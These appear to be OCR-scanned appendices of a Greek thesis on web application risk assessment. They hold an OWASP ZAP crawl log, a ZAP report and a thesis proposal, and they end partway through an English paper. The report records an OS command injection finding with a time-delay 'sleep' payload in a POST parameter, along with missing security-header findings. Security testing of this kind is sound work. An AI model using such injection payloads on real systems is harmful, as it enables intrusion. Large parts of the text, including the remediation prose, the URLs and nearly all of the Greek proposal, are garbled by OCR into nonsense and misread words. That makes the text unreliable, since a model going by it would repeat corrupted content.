Max Depth EEST 2018 POST w/default.aspx 200 OK 33 222 35963 Medium Comment
Sat May 26 http://win-
14:39:17 h8g2ght5pIm/xpcash_ne
Max Depth EEST 2018 POST w/default.aspx 302 Found 109 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 22 222 35991 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 16 222 35964 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 54 222 35991 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2ght5pIm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 74 222 36221 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2ght5plim/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 74 222 35991 | Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2ght5pIm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 87 222 36253 | Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 15 222 35964 | Medium Comment
Sat May 26 http://win-
14:39:17 h8g2ght5plim/xpcash_ne
Max Depth EEST 2018 POST w/default.aspx 302 | Found 62 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2gbt5plim/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 15 222 35963 | Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 15 222 35992 | Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 56 222 36127 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2gbt5plim/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 56 222 35897 Medium Comment
Sat May 26 http://win- Form,
14:39:17 h8g2gbt5plm/xpcash_ne Hidden,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 58 222 35898 Medium Upload,
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Script,
Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 58 222 36159 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 36 222 35865 | Medium Comment
Sat May 26 http://win-
14:39:17 h8g2gbt5plm/xpcash_ne
Max Depth EEST 2018 POST w/default.aspx 302 | Found 113 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 42 222 35897 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2ght5pIm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 25 222 35964 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2ght5pIm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 67 222 36127 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 67 222 35897 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 80 222 35897 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:17 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 80 222 36159 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:18 h8g2ght5pIm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 19 222 35870 Medium Comment
Sat May 26 http://win-
14:39:18 h8g2gbt5plm/xpcash_ne
Max Depth EEST 2018 POST w/default.aspx 302 | Found 170 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:18 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 45 222 35898 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:18 h8g2ght5plim/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 34 222 35964 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:18 h8g2ght5plim/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 76 222 36127 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:18 h8g2gbt5plim/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 95 222 35897 | Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:18 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 134 222 35897 | Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:18 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 134 222 36159 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:18 h8g2gbt5plim/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 32 222 35870 Medium Comment
Sat May 26 http://win-
14:39:18 h8g2gbt5plm/xpcash_ne
Max Depth EEST 2018 POST w/default.aspx 302 | Found 78 324 220
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Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:18 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 15 222 35812 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:18 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 18 222 35898 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:19 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 56 222 36221 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:19 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 56 222 35844 | Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:19 h8g2ght5pIm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 78 222 35846 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:19 h8g2ght5pIm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 87 222 36253 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:19 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 31 222 35812 Medium Comment
Sat May 26 http://win-
14:39:19 h8g2ght5pIm/xpcash_ne
Max Depth EEST 2018 POST w/default.aspx 302 Found 62 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:19 h8g2ght5pIm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 39 222 35844 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:19 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 39 222 35818 | Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:19 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 77 222 36127 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:19 h8g2ght5plim/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 61 222 35746 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:19 h8g2ght5pIm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 48 222 36159 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:19 h8g2ght5plim/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 48 222 35746 | Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:19 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 28 222 35724 | Medium Comment
Sat May 26 http://win-
14:39:19 h8g2gbt5plim/xpcash_ne
Max Depth EEST 2018 POST w/default.aspx 302 Found 65 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:19 h8g2gbt5plim/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 35 222 35812 | Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:19 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 35 222 35752 | Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:19 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 59 222 36127 Medium Comment
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Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:19 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 59 222 35746 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:20 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 57 222 35752 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:20 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 58 222 36159 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:20 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 39 222 35718 Medium Comment
Sat May 26 http://win-
14:39:20 h8g2gbt5plm/xpcash_ne
Max Depth EEST 2018 POST wi/default.aspx 302 | Found 101 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:20 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 32 222 35746 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:20 h8g2ght5pIm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 38 222 35812 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:20 h8g2ght5pIm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 75 222 36127 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:20 h8g2ght5pIm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 60 222 35746 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:20 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 | OK 78 222 35752 | Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:20 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 111 222 36159 Medium Comment
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:20 h8g2ght5plim/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 29 222 35718 Medium Comment
Sat May 26 http://win-
14:39:21 h8g2gbt5plm/xpcash_ne
Max Depth EEST 2018 POST w/default.aspx 302 | Found 104 324 220
Form,
Hidden,
Sat May 26 http://win- Upload,
14:39:21 h8g2gbt5plm/xpcash_ne Script,
Max Depth EEST 2018 POST w/default.aspx 200 OK 44 222 35746 Medium Comment

ITAPAPTHMA 4
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Scanning Report

1
I at 2l posaible, use Bary cals rather than exiemal (rocesses 10 recreate the desired Lnconaity.

Run your code in @ "5ai" o similar sandax eevirooment that enfores stridt boundaries between the procsss
and the cperating system. This may efectively restrict which fles can be accessed in a parScular diredtorny of
‘which commands can be executed by your softeare.

mmmnmmumum hmwmm
Pprovide scme protection. For Javaio Fllef alows you to
specily restrictions on fle cperations.

This may not be & feasitie sclution, and & only limis the impact 1o the cpenating system; the rest of your
St be sutject to

Summary of Alerts
Rish Lovel Nambet of Nerts
Heh 1
Mediom 1
s 3
Informaticnal [
Alert Detall
Atack muwmammmmmhm&
Description whan an aocepts untrusted input 10 bulks Q system
Iveling improper Cata sarTation, andlor improter caling of exerml programs.
URL MR AWIN-NESIGR Spinviepeanh_newNSCelautt aspx
Method POST
Parameter ongin_ud
Atack 00 seep 15
Instances
Sokticn

For any dats that will e used to a wbe heep as much of hat data ot of
extemal contral as posabie. For example, in -hmu-. My require storing the command locally
inthe sessions state instead of sending it out 1o the clent ina nu-nm

Use & vetted Ibvary o famewerk that does not allow this weakness 1o coowr of (rovides consiructs that make
his weainess easiel 1o avoid.

For examgle, consider using the ESAPY Encoding control or @ similar todl, Raary, of famework. These will
help the programmer encode oUpUts in & Manner lesa prone 10 emer.

If pous need 10 Use Query sings of in soite of De risk, property quate
@aMents and escaDe Ny spedal chiractens wihin hose The most 12
escape of Mier &l characiens that do not pase an extremely sirict whitelist jsuch as everything that is not
alphanumeric or white space). If some special charactens are stll needed, such 38 whils S0ace, Wiap sach
agument in quotes afier the escapingMilerng step Be caredd of argument injecton

If the program 1o be executed alows aguments o be specified within an input file or from standarnd input,
hen consider using that mode to Dass arguments instead of the command line.

If avalabie use structired mechaniams hat automaticall enforse the secaration between data and code.
These mechanisms may be able 1o provide the relevant quoting and
instead of relying on the developer 1o (rovide this capabilty o every point is generated

Some anguages offer muliiple unctions that can be used o invoke commands. Where possible, identity any

invekes shel using @ single sTing. and repiace It with @ function that requires
These typicaly perform appropriate quoting and Mierng of anguments. For

examgie, in C, the systeny) inction accepts 2 slring that containa the entire command 10 be exscuted,

whereas exadl ), exscve(), and cther require an amay of strings, one for aach agument. In Windows,

CreateProcess() only accegts one o atime. In Pert, if s provided with an amay of

aements, then X will quots each of the anguments.

Assume all ingut is malcious. Use an “accept inown good”™ input valdation stratedy, L e, use & whitelist of

m

oconform Rejoct any input that does not strictly conform %o
into that does. Do not rely exciusively on looking for malicious of
mmﬁ- do not sely on a blackdis?). However, biackiets can be useful for detecting potential
atacks of deltermining which mnummmmnm
When al relevart length, type of ingut,

numawmmummmmmwmu
confomance to business rules. As an examgile of business e logic, "hoat™ mary be syrtactically vakd
becacse it coly containg alphanumeric chancters, but T is not vald If you ane expecting colom such as “red™
o tue”
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When os strings, hat limit he character sel based on the
wv‘-dhmhhm This will indirecty Smit the scope of an attack, but his
Technique s less Imponant Dhan proper cutput encoding and escaping.

Mmmmmﬂdmnnummum
ocommaend injecton, aithough input validation mary provide some Gefense-n-dept. This is because it
eflectively limits what will appear b output. Ingut validation will not @ways prevent OS command injection,
Mlmnmnmmumumwmm For
exampie, when invaldng a mail program, you might need
mml-"-nvmmmmhnmamw inthis

case, he risk of OS command injection, but & would produce incomect

the woukd nt be the user This might seem o be @
minoe inconvenience, but & could be mone important when the Telies on well subject ines
in order 15 pase Mesaages 1 dher COMpOnents.

Evenif you make & mistake in your validation (such as foeiting one out of 900 input feids), apgroprials
Mh-mhmm”w“ Aa long as it is not done in isclation, input

vakidation is stil a et since & reduce your atiack surface, allow you 1o detect
mmumnmuumm“m“
hepiowe mitre. crng/dataisefnlicna/78 hami
Reference
Epe i P crpindex phek d_Injection
CWE K 78
WASC M an
Source D 1
3.7 i v i
Description XFrame-Opticrs header is not iIncluded in the HTTF response 1o protect againat ‘ClokJacking’ atiacks.
URL e AWin-hEGg R Spim/epanh_newNSCdelatt aspx
Method POST
Parameter XFrame-Opticrs
URL hEp Awin-hEg2g et Spim
Method GET
Parameter XFrame-Opticrs
Irstances 2
Mot Wed the X-Frame-Options HTTP header Ensure ifs set on al web pages
mnmu(lmmmmhun—ﬂwwmnwmucnmuo
Solution FRAMESET) then you'l want to use SAMEORIGNN, ctherwise If you never espedt the page 1o be framed, you
M?MMM“MM&M&%MH!W”
Refererce 2p Moiogs mecn 20 10/0330N OB ahing- witl-x- amecrEons 280
CWE M -
WASC "%
Seurce D 3
L X Wmnm
mma-sma was ot sef 1o NoenilT. This alows cider versions of Inteme
Description e Mu 28 @ content type cther than the declared contert type. Cument (
performing MINE-anifing
URL g win-hagRgtSEm
Method GET
Parameter X-Coment-Type-Options.
URL g -GS HmADcash_news5Coetaut s
Method FOET
Parameter X-Conent-Type-Opficrs.
URL hep OWin-hEg2ohesy | _newiie o d=21 IOASpRICONNZoH TYTCRNNDENSUE 1 1By b TYEWO
ANVDOgOIT aFECFTUCY TS8P Wtk w iz EXBUPSZI0-TW8 SHA2EI=S3 52806 89520000000
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Pacameter XLContent-Type-Opiors
URL m_ slerfOWeh U2+ Vernsioo3d2013 3 1324 35520+ Culture%3an
2SI 15440 %30 160407 or%3a58365020%3aTE45500% 300 400 1002 N 3045 19543 MIR00ANEH B 14407 0%
Method GET
Parameter X-Contert-Type-Opfions
URL hap Mwin-Egightsy e e R e PI=OR IATMT!
iNBE29ag CRASCISDIXACCHIPLO @AWY -ADLEY AKRHWEQUSOVIGE 1 WelogE-SWwERhiVEXD1 81=83508
Method GET
Parametsr X-Contert-Type-Options
URL g Mwin-rEgaptSpimipoash_newiW ebResource aed P0=UCHIKE-L-V-X0ECH0NH 1SHIT S 2REZOLHEHEVEND
Method QET
Parameter X-Contert-Type-Opions
ORL WW1W.W
AanVOnaGHX ST 1 85=5530c050
Method QET
Paamets X-Content-Type-Opions
instances. 9
Ensure that the apgcaticniwed server sefs the Content-Type header appropriately, and Dt it sets the X-Content-Ty
fokficn If poasidie, ensure that the end user uses a and hat does not perform Wi
NMEanifing.

This issus stll appies to emor type pages (401, 403, 500, efc) as those pages are ofien el aflected by injecticn iss
Cther 20

ALHIgH" threahoid this scanner will not alert on Cient of SSIVel &MY eSgONses.
hap Mredn microsol conden-ued brany eS8 1 628vov. B5%09 sy

Reference
tps. = proiint of_usedd HTTP headens
CWEd 1€
WASC Id 15
Source 1D 3
Low (Medium) Web Browser XSS Protection Not Enabled
Description Web Browser XSS Protection is nat enabied, of is disabled by the configuration of the X-XSS-Protection’
HTTP response header on the web server
URL PN AU SCimApeash_newieSCaetaut ascy
Method POST
Paameter X-XES-Protecton
URL MEpUWinnEg M Sl rrutemap xmi
Method GET
Paameter X-XE3-Protecton
URL PEpUwin-h8Zg Sl delaudt aspe
Metnod POBT
Parameter X-XE3-Protecton
URL PO MWInN-nBZg N Sl mirobots 1
Metrod GET
Parameter X-XES-Protecton
URL PERUWIN-EZGNScIm
Method GET
Parameter X-XE3-Protecton
Instances s
BoAiion wummmmnhwwmmwmmm
Other indommation The X-XSS-Protecton HTTP reaponse header alows the web server 1o enabie of dsabie e web trowser's

xs8 The vilues would atermet to enable &
X-XES-Protecton 1; mode=tiock

X-XES-Protecton 1, repon=ntip fwww. example. coméos

The folowing valuss wouks dsatie ©
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CWER
WARELC I
Soigos ID

e ]

CWE
WMAEC [
Soiarcs I

B-NES-Proleson O

The 5-¥ES Frolesion HTTP reseafas haadsr B oty speansd o Inemel Sxpione, Chicms wd St

P T this abert is ory e IT e resqonse bty could potertally contin an XSS payioad (with a bt
st e nim i Types, Wil & nON-Tern lengih).

P Mo owasp ogAndes php 56 (Cross Ske Sorgling) Freventcon Gheal Shest

it (7, o oy AV g Tt g cority-heacters!

833

14

3

Coshin Mo HLpONly Flag
A ok D besm el e Hher HOpOnly T, wiich M tha the cocsle can e mosssed by JaaSenol
If @ a0 v i sk LN 0 il Page T Hhe cookie will be acosssitie and can be Tanmidsd i
ancifer s, 1 ihis i6 @ sessdon cockin then seion b acking may be roasile.

P B2 Sl

GET

ABPEEESOMIDADOESCAT

Set-Cookle ASFEEESIONIDAGOEECAT

1

Ensre that the HEpdnly fag is set for al ackien

P i s o i nde phedHEpCnly
8

13
3
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ITAPAPTHMA 5 — Proposal

ANoTATC EknalaeyTiko larynia MEIPALA T.T.
TMHMA MHXANIEDMN AYTOMATIEMOY T.E

NMPOrPAMMA METANTYXIAKON ENOYAGN
AYTOMATIEMOL NMAPATOQTIrHE & YNHPEILIIOQN

IIpétaoy Metanmtuytasmng AwxtoBng

1. Ovopa Qovmoy: Kaowads Anuitpng

2. Ovopo Emphémovia KaBnynm: Apoooc Xpriotog

3. Tithog Morpipnic:

MeréTn kK YAomoinon Awdikaoioc ADiohdynonc Kwdivwy ko Boomkoi Eleyyxol
Eumafev Epoappoyng, mpiv Trv évradn tng o Mapoyuryr.

Study and Implementation of Risk Assessment Procedure and Basic Penetration Tests of an
application, before it enters in Production Environment.

4. Nepiinyn Aorpifric:

H pl:r.rﬁulu avammuEn g MAnpopopiknc SxE oo urrmEhmm: v EEEMEN Tuw trpom.rrmv OE GhO TO
pdopa g xuﬂr||.|Eprm‘n'|mg Twv avBpurmoy. O ETMpIEC K@M O op'q'umuu TOU ﬁnuomm.l Kl
WGwmkol Topén, péow TNC EEEMENC Twv TANPOEODICKLV ToUg mmr]u:mmr Kmmpipmr va
m.lEnl:rmw mv 1'I'Clpﬂ'|"u.l'||"lﬂ"] Toug GiofiKogio Kol vo TpOC@PEpOUY TIOIOTIKOTERD TIROIOVTO K
UTIMPETIES Ta OTroM fTay axedov ablvaro va uhomomBoln TRV TNV eEEMEN TNc MAnpopopKknc.
Mhéov oTig PEPEC POG N CUNTPITITIET] TAZIOWN@IO Twy ETQIPILY OTNRIZETON OTITY Tl'a'll'IPﬂWFIKI'I W T
wkaBnuepnt) TN Aemoupyia. KaBe mbaovd mpofinua o MNAnpo@opiokd CUCTPOTE, EXEI OOV
amoTEAETUT TNV KaBuoTEPNON | GKOPO Ko TNV SOKOTT TN AEmMoupyioc Twv ETIQILY, Yia 000
SdoTnua outd Gapka.

Mapakknha opwe pe TV EEEMEN TN MAnpogopiknc, OVOMTUCOET@ TO G0 TayUTaoma ®a n
“ﬂﬂﬂﬂ'ﬂ“mﬂ'ﬂﬂ ToU OXENZETm PE TV WpokAnon TpoBinpdrwy oF WANpopopiOkd m.n:rrnum::r
TMEQITTOTERD YVUMTTI OOV aNAEKTPOVIKG EykAnuas f «kuBepvoiykAnuas (OTav SIompATIETM UETLW
Tou SiGkTiou).

EToxoc Tuw eTrapafarwve Tng MAnpo@opiknc Eval va UmorkASWoUY ELOITBNTD OTOIEID ETQIRWY
va ﬁnuluum'fpouv npoﬁ.hr']mm: amny hnwpﬁu TOUG, PE TKOTO TO ommruulmfl I:EWE.?!.D(; r'| mpoc
OPEADC KATIOIOU OVTOyWhATTH (ETaipia, KpdTmog KAT.). Mokhéc popéc B, pmope wa yivETal povo yia
v ||<m.rn‘ncl|1m'| mc @AoSofioc Touc wva TapafidTouv CUOTAUOTE OoPakEiac  PEyahw
OpYOVITUGY.

MNa TV TpoOTOGd TWY OpYOWMOUWY amd To MASKTpovVIKG EyKAnua, avammiooovrol Siafkacieg
afiohOYyNoNG TWV ENVIUVIOV TWY TANMPOPODIOKLNY TOUS CUCTIUATWY Kol UADTIODOVTE EREY)0!
suTmaBaw o autd. Doo mo kpiopoc divan 82 0 TopEoc OTOV OTOI0 OVOTITOOETAl O EKOOTOTE
opymAoPGS, TOTD o TTOANTADKEC Eival Kol of Giofikaciec Tou akohowBolvta, vid Tapahhnha o
E.if:\.'xoi Eum:ﬂgtinr GlievEpyoUnTo OF TAKTA Xpovikd SiooTrpara r) oF ka8E onuavikn aAhoyT Tou
EXOOTOTE CUTTIHOTOC.

H mopoloa epyogia £ ooV OKOTMO Va Kartaypays Ty Siabikacia afiohoynonc knGivov piag
EPApUOYNC Kol OTNV CuvEXEN TNV DIEVEPYED EAEYXOU EuTraBEiwy, Tpiv Ty Evragn o omv
TIOPAYT].
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To owmkgigevo Tne peAEmc spmimTe pe To MMI. yion mwpoyparedetm T SioSikomisc
QUTOUTTOTTOINCNC UTIPECIWY TTANPOPOMIKIG ETTIpIWY, YO Ty MpooTacia ToUS amd To MAEKTROVIED
EykAnua r 1o KuBepvogyrAnua.

Méow g karaypagnc e Giofikaoios afiohoymone kwvBliviey km g SEVERYEIDE EAEYXOU
fumoBww TN Epappoyng, Ba yivel TpoowddStia va koraypagolv Ta Bookd Bryora Tou
amamodVTal yia TNV oo@arEcTEpN EvTaln piac epoppoynic OTnY TTapaywyikn SodkaTio.

To k0o PEPOS TNC PERETNC Ba KaTaypapel TiI SIOBIKOCIES TTOU aamauvVTol YIg T aEiohayToT Twy
pvBUvioy pioc EQOpUoync OT0 TOpoywyike TepBailov evog opyoviopol. ITnv ouvixzia Go
avahuBooy To EpyahEia Kol Of EpYOCIES TTOW OTIGITOUVTON yia Ty SiIEvEpyaia eAEYX0U EUTTOBEILNY TNG
£PApUoYAC, KOBUIC KOl 0l TPOTATES EMAUCTIC TOUG.

Oc mbovd amoTEAETUATO TG CUYKEKDIPEVTC PEAETNC OVOPEVETOI v EivOl N KOTOYpaEn Bomkmy
EVEDYEIIV TIOU OIamoUVTal yid TOv EAEY X0 Qo@ohElag Piag epapuoyne, e v eviatn g oy
Tapaywyikn Gafikooia.

YIToOAOYIZETON OT N pEAETN B0 ohokAnpwEe evioc 4 pnvuoy, GeSopEvou OTI OWOITEITAI N KOTOYPOE
Tuw omamobpeviy Siofikomoy ko n SEpsivnon Twy Epyakeiwy Tow So amamnody yio Tov
EAEYXD aoPakEiog TNG EQPOpHOyYNS. ITn ouveExelm Sa amomnBel n MROETOIHOTID OXETIKOU
mepiBaihoviog Gokipuy yia Ty SIEVEPYEN Twv EAEY YWY aopaheiag, r uhoTroinoT Toug, kaBug Kai n
KOTOYDOQA TWY OTTOTEALCUGTWY KOl TWY TTROTACEwWY SiopSwor)g Twy eupnudTwy. Tov TEAEUTTID
prva S, 60 whomoinBel n ouyypogn TN SOTRIBNC K@M O £AEYXOC TNC OF OUVEDYQTIO PE TOV
EMBAETTOVT KOBMYTTA.

5. Ixt6wo BoBpodoynong

Ewgoywyr 5%
Bifhoypadikn Epeuva 105
Koraypadn AuxSikaouwy ASLOAGYNONC

Kuw§ o 15%

»  Kotoypadn Twy epyakeiwy KoL HEBOGwY
Yl Tnv SLevepyeLa Twv EASywv Acdhoreiog 20%

Aevepyein EAEywv AchahEing 20%
MopouciooT OMoOTEAEGUOTII 15%
*  IuumEpaoUOTT 5%
= Avtoocfwloynon 5%
+ [poTAcEL; YU TEEQOITEPW EPEUVT 5%

6. Emrponn Eykpuonc & BaBpoddoynonc

Ap. A ToehEC Ap.K.Ahmdosnpocg X. Apoooc

Konyntrg KeBryntrg , )

AvzuBuvtric N.ME MpdeSpoc T M. Erphemuwy-ELanynTig
AuTopanopos
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ITAPAPTHMA 6 - Paper

Study and Implementation of Risk Assessment Procedure and Basic
Penetration Tests of an application, before it enters in Production
Environment

DIMITRIS KASINAS
Department of Industrial Design and Production
University of West Attica
P.Ralli & Thivon 250, Athens, 12244
GREECE
dkasinas@gmail.com

Abstract: This work attempts to capture and present the basic actions required to organize the security of the IT
systems of an organization. Initially analyzed security audits based on the OWASP testing project, provides
guidelines for the proper development of a comprehensive information security framework. An effort is then made
to develop an information security risk assessment methodology, as well as a policy of identifying weaknesses
and conducting security audits. Finally, penetration tests are run on a web application in order to detect any
security problems before it enters production. Tests are performed using the OWASP Zed Attack Proxy (ZAP)

tool.
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1 Introduction

The rapid development of Information Technology
has resulted in the construction of products
throughout the everyday human life. Public and
private companies and organizations, through the
development of their information systems, managed
to increase their production processes and offer better
products and services that were virtually impossible
to implement before the explosion of Information
Technology.

Nowadays, the overwhelming majority of
organizations rely on IT for its daily operations. Any
potential problem in information systems results in
the delay or even interruption of organisms as long as
it lasts.

However, with the rapid development of IT and the
benefits it brings to the lives of people and
businesses, at the same time of delinquency is
developing aiming at the interception of sensitive
elements or the creation of cybercrime problems.

In order to address the above threats, organizations
are now obliged to organize their protection in order
to defend them in cyber attacks.

It is understandable that the more critical the sector
in which an organization is deployed, the more
complex the procedures are used to protect it,
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whereas the necessary vulnerability checks are
necessary to be carried out at regular intervals or at
each change of the system. Nowadays, large
organizations have developed systems of continuous
monitoring of the security of their IT systems, as well
as privacy and security by design.

However, how can an organization estimate the cost
of a possible attack on its information systems,
whether the loss is related to money costs (e.g.
revenue cuts, criminal proceedings, fines from
regulators, loss of data, etc.) or even costs his
reputation (for example, a decrease in confidence in
the organization, downgrading of a trade name, etc.)?
It should be noted that the cost of a security incident
may vary depending on the type of attack and the rate
of success. To this end, it is necessary to calculate the
effect of a possible attack by conducting a risk
assessment using methodologies and standards to
allow for the identification of the security
investments required for an organization. This
calculation needs to be evaluated and reviewed
annually.



1 Security checks based on the

OWASP Testing Project

OWASP is a global free community and also one of
the most widespread standards for software security.
OWASP has been developing for many years the
OWASP Testing Project, which aims to help
understand web application testing.

A security measure parameter, apart from the
technical issues that relate to, for example, how
widespread a particular vulnerability is, is also the
calculation of the impact of security issues on the
total cost of the software. Although most technicians
are able to manage and address the vulnerabilities of
an application, unfortunately a very small percentage
of them is able to estimate the possible impact of
vulnerabilities in the business activities applied by
the application. This parameter causes problems for
organizations' IT officers who have difficulty
capturing the exact return on security investment, as
well as compiling their respective budgets for
software security.

Based on the above, it seems important to be able to
evaluate security throughout the development
process and then estimate the cost of unsafe software
to the impact it may have on the business. This will
lead to the development of appropriate business
processes and allocation of resources for risk
